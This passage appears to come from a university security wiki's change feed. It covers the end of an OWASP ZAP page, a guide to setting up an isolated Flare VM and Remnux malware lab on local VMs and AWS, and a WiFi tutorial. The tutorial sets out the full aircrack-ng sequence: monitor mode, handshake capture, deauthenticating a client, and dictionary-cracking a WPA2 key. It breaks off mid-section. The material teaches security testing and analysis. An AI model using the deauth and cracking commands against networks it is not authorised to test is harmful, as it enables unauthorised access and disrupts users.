Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. The current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread, so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is running by default in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP, since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site, we already mentioned spidering as a viable option, but we need to keep in mind that they also are rather limited when it comes to filling out forms. Forms may be filled with default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP. The benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Malware_Lab:_VM_Setup_and_AWS_EC2&amp;diff=14627</id>
		<title>Malware Lab: VM Setup and AWS EC2</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Malware_Lab:_VM_Setup_and_AWS_EC2&amp;diff=14627"/>
		<updated>2024-03-12T17:49:18Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The prerequisites for this guide are that you should have two virtual machine instances running on your hypervisor:&lt;br /&gt;
&lt;br /&gt;
* Flare VM (Setup instructions: [[Flare VM Installation]])&lt;br /&gt;
* Remnux&lt;br /&gt;
&lt;br /&gt;
The idea of this lab setup is to be able to detonate live malware on the Flare VM, while using the Remnux VM to observe network traffic. It is also important that we make sure the network is isolated from our host system. The ways of accomplishing this vary depending on which virtualization software you are using. But you must definitely create a new virtual internal network, and then place both virtual machines inside this network. Make sure it is a Host-Only network (VirtualBox). Note that you will not have internet access within that network - so if you need to download any tools, you may need to temporarily move the VMs to a NAT network, download the tools, and then move them back to the Host-Only network.&lt;br /&gt;
&lt;br /&gt;
In the Remnux VM, we will run inetsim to simulate network services such as DNS. Inetsim can generally impersonate any kind of network service, but we will be using it for DNS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;configure-inetsim-to-impersonate-dns&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Configure Inetsim to impersonate DNS ==&lt;br /&gt;
&lt;br /&gt;
To configure Inetsim to impersonate DNS, follow these steps:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Open a terminal in the Remnux VM.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Install Inetsim using the following command in case it is not already installed:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install inetsim&amp;lt;/pre&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Open the Inetsim configuration file using the following command:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; sudo nano /etc/inetsim/inetsim.conf&amp;lt;/pre&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Find the following line in the configuration file: &amp;lt;code&amp;gt;#start_service dns&amp;lt;/code&amp;gt; and remove the comment (#) from the beginning of the line.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Find the following line in the configuration file: &amp;lt;code&amp;gt;service_bind_address&amp;lt;/code&amp;gt; and set the IP address to &amp;lt;code&amp;gt;0.0.0.0&amp;lt;/code&amp;gt;.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Find the &amp;lt;code&amp;gt;#dns_default_ip&amp;lt;/code&amp;gt; line, remove the comment (#) from the beginning of the line, and set the IP address to the IP address of the Remnux VM.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Save the configuration file and exit the text editor.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Start the Inetsim service using the following command:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo systemctl restart inetsim&amp;lt;/pre&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;prepare-the-flare-vm-instance&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Prepare the Flare VM instance ==&lt;br /&gt;
&lt;br /&gt;
In the Flare VM, we will detonate the malware samples and observe the network traffic using Wireshark.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;configure-flare-vm-to-use-the-remnux-vm-as-the-dns-server&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
=== Configure Flare VM to use the Remnux VM as the DNS server ===&lt;br /&gt;
&lt;br /&gt;
To configure Flare VM to use the Remnux VM as the DNS server, follow these steps:&lt;br /&gt;
&lt;br /&gt;
# Search for Ethernet settings in the Windows search bar and click on “Change adapter options”.&lt;br /&gt;
# Click on the network connection and then click on “Properties”.&lt;br /&gt;
# Select “Internet Protocol Version 4 (TCP/IPv4)” and click on “Properties”.&lt;br /&gt;
# Set the DNS server to the IP address of the Remnux VM.&lt;br /&gt;
# Click “OK” to save the settings.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;testing-the-lab-environment&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Testing the lab environment ==&lt;br /&gt;
&lt;br /&gt;
To test the lab environment, follow these steps:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Test ping connectivity between the two VMs.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Run the following command to check if the DNS server is set correctly:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;nslookup google.com&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;The output should show the IP address of the Remnux VM as the DNS server.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Run the following command to check if the network traffic is being captured by the Remnux VM:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; ping google.com&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Open Wireshark in the Remnux VM and check if the network traffic is being captured.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Download a malware sample to the Flare VM and detonate it.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Observe the network traffic in Wireshark in the Remnux VM to see if the malware is making any network connections.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
IMPORTANT: Once you have it all set up, take a snapshot of the VMs. This way, you can restore the VMs to their original state after running malware samples. This can save you a lot of time and effort in the long run, as you won’t have to reinstall the VMs every time you run a malware sample.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;automated-deployment-of-the-lab-environment-in-the-cloud&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Automated Deployment of the Lab Environment in the Cloud ==&lt;br /&gt;
&lt;br /&gt;
If you don’t want to host the lab on your own machine, you can choose to deploy the malware lab on Amazon Web Services (AWS) - as shown later on in this article, the deployment process can also be automated using an IaC (Infrastructure-as-Code) approach with Terraform.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;prerequisites&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
&lt;br /&gt;
Before you begin, you will need to have the following:&lt;br /&gt;
&lt;br /&gt;
* An AWS account&lt;br /&gt;
* Terraform installed on your local machine (or use Windows Subsystem for Linux (WSL) if you are using Windows)&lt;br /&gt;
&lt;br /&gt;
First, we need to manually recreate the Flare VM on AWS. In the case of AWS, FlareVM is best installed on a base Windows Server image. Be sure to allocate enough storage space for the VMs, especially for the Flare VM. For external access, you will need to use RDP to connect to the Flare VM. You might need to explicitly allow RDP access from any IP. AWS allows you to download the RDP file to connect to the Flare VM. AWS automatically puts a password on the Windows Server, which you can get by decrypting the password using the key pair you created when you launched the instance. Once you have the password, you can connect to the Flare VM using the RDP file.&lt;br /&gt;
&lt;br /&gt;
Once connected to the Flare VM remote desktop, you need to go through the same steps as you would on a local machine to set up the Flare VM. Just use the provided scripts to install the tools and set up the environment.&lt;br /&gt;
&lt;br /&gt;
After setting up Flare VM, you can use AWS to create an AMI (Amazon Machine Image) of the Flare VM. This will allow you to launch new instances of the Flare VM without having to go through the setup process again:&lt;br /&gt;
&lt;br /&gt;
* Select the AWS instance of the Flare VM in the AWS Management Console.&lt;br /&gt;
* Click on “Actions” and then “Image and templates” and then “Create image”.&lt;br /&gt;
* Give the image a name and description and click “Create image”.&lt;br /&gt;
&lt;br /&gt;
To later be able to launch instances of the AMI using Terraform, you will need to create a new role in AWS:&lt;br /&gt;
&lt;br /&gt;
* Go to the AWS Management Console and search for “IAM”.&lt;br /&gt;
* Click on “Users” and then “Add user”.&lt;br /&gt;
* Groups: Create a new group and give it a name (e.g. EC-full-access). Under Permissions Policies, select “AmazonEC2FullAccess”.&lt;br /&gt;
* Add the user to the group and continue&lt;br /&gt;
* Create a Command-Line-Interface (CLI) access key and secret key for the user.&lt;br /&gt;
&lt;br /&gt;
Now, you can continue with the Terraform deployment. For this, switch over to WSL or a Linux machine, as Terraform is not officially supported on Windows.&lt;br /&gt;
&lt;br /&gt;
Update the repository and install Terraform, JQ and AWS-CLI using the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get update&lt;br /&gt;
&lt;br /&gt;
sudo apt install jq&lt;br /&gt;
&lt;br /&gt;
# Installation instructions for Terraform can be found here: https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli&lt;br /&gt;
&lt;br /&gt;
sudo apt install awscli&amp;lt;/pre&amp;gt;&lt;br /&gt;
Configure the AWS IAM user using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aws configure&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enter the access key, secret key, region (use the specific AWS region your node is deployed in) and output format when prompted.&lt;br /&gt;
&lt;br /&gt;
Create a new directory for the Terraform configuration files and navigate to it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;mkdir malware-lab&lt;br /&gt;
cd malware-lab&amp;lt;/pre&amp;gt;&lt;br /&gt;
For the Terraform configuration, there is a very useful Git repository that contains a Terraform template for deploying a malware lab on AWS. You can clone the repository using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;git clone https://github.com/adanalvarez/AWS-malware-lab.git&amp;lt;/pre&amp;gt;&lt;br /&gt;
It contains a base version of the Terraform configuration for deploying the malware lab on AWS. To specify further details for your deployment, you need to create a new file called “terraform.tfvars” in the malware-lab directory and specify the following variables:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre class=&amp;quot;hcl&amp;quot;&amp;gt;{ &lt;br /&gt;
    &amp;amp;quot;environment&amp;amp;quot;: &amp;amp;quot;malware-lab&amp;amp;quot;,&lt;br /&gt;
    &amp;amp;quot;ami&amp;amp;quot;: &amp;amp;quot;ami-xxxxxxxxxxxxxxxxx&amp;amp;quot;,&lt;br /&gt;
    &amp;amp;quot;account&amp;amp;quot; : &amp;amp;quot;222222222222&amp;amp;quot;,&lt;br /&gt;
    &amp;amp;quot;region&amp;amp;quot;: &amp;amp;quot;eu-west-1&amp;amp;quot;,&lt;br /&gt;
    &amp;amp;quot;enable_guacamole&amp;amp;quot;: false,&lt;br /&gt;
    &amp;amp;quot;enable_inetsim&amp;amp;quot;: true&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this case, Guacamole is used to provide remote access to the Flare VM, and Inetsim is used to simulate network services. If you want to enable these features, you can set the “enable_guacamole” and “enable_inetsim” variables to “true”.&lt;br /&gt;
&lt;br /&gt;
Now, you must check which version of Terraform is installed on your machine. You can do this using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;terraform -v&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, open the main.tf file in the malware-lab directory and change the Terraform version to the version installed on your machine.&lt;br /&gt;
&lt;br /&gt;
In the instances.tf file, you need to change the following:&lt;br /&gt;
&lt;br /&gt;
* In the Linux instance for Inetsim, change the AMI id to a corresponding AMI id for Ubuntu Server 20.04 LTS.&lt;br /&gt;
&lt;br /&gt;
Under &amp;lt;code&amp;gt;network.tf&amp;lt;/code&amp;gt;, you also need to change the availability zone to the availability zone of your AWS instance.&lt;br /&gt;
&lt;br /&gt;
Now, you can initialize the Terraform configuration using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;terraform init&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, you can deploy the malware lab using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;terraform apply&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will deploy the malware lab on AWS. Once the deployment is complete, you can access the Flare VM using the RDP file provided by AWS. You can also access the Remnux VM using SSH.&lt;br /&gt;
&lt;br /&gt;
The Terraform output will provide you with the public IP addresses of the Flare VM. Just like before, you can connect to the EC2 instance via RDP.&lt;br /&gt;
&lt;br /&gt;
To destroy the malware lab, you can use the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;terraform destroy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will destroy all the resources created by Terraform.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;conclusion&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
In this guide, we have set up a malware lab environment using two virtual machines: Flare VM and Remnux. We have configured Inetsim to impersonate DNS on the Remnux VM and set up the Flare VM to use the Remnux VM as the DNS server. We have also tested the lab environment by observing network traffic using Wireshark. Finally, we have automated the deployment of the lab environment on AWS using Terraform. This lab environment can be used to safely detonate live malware samples and observe their network behavior.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=14626</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=14626"/>
		<updated>2024-03-12T17:45:33Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listening to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionally, one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to be used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The output with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we don&#039;t know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitor mode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher, and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner, it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured it says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manually. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to a WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needs to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step, the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2: -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The output looks as follows:&lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (36.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
